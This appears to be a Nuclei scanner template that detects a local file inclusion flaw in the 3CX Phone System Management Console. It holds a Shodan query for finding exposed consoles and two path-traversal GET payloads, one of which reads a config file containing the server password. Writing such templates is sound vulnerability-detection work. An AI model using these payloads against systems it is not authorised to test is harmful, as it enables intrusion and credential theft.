id: 3cx-management-console

info:
  name: 3CX Management Console - Local File Inclusion
  author: random-robbie
  severity: high
  description: 3CX Management Console is vulnerable to local file inclusion.
  reference:
    - https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
    cpe: cpe:2.3:a:3cx:3cx:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"3CX Phone System Management Console"
    product: 3cx
    vendor: 3cx
  tags: 3cx,lfi,voip,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Electron/download/windows/..\..\..\Http\webroot\config.json'
      - '{{BaseURL}}/Electron/download/windows/\windows\win.ini'

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "CfgServerPassword"
          - "CfgServerAppName"
        condition: and

      - type: word
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 480a00453043021f57d4878d9634fd144b5157eea19eb480662cff120b35d146a0999239aca05f02204649c46a02526346989810e12a984547a081d1197fc410d38192389096dd9208:922c64590222798bb761d5b6d8e72950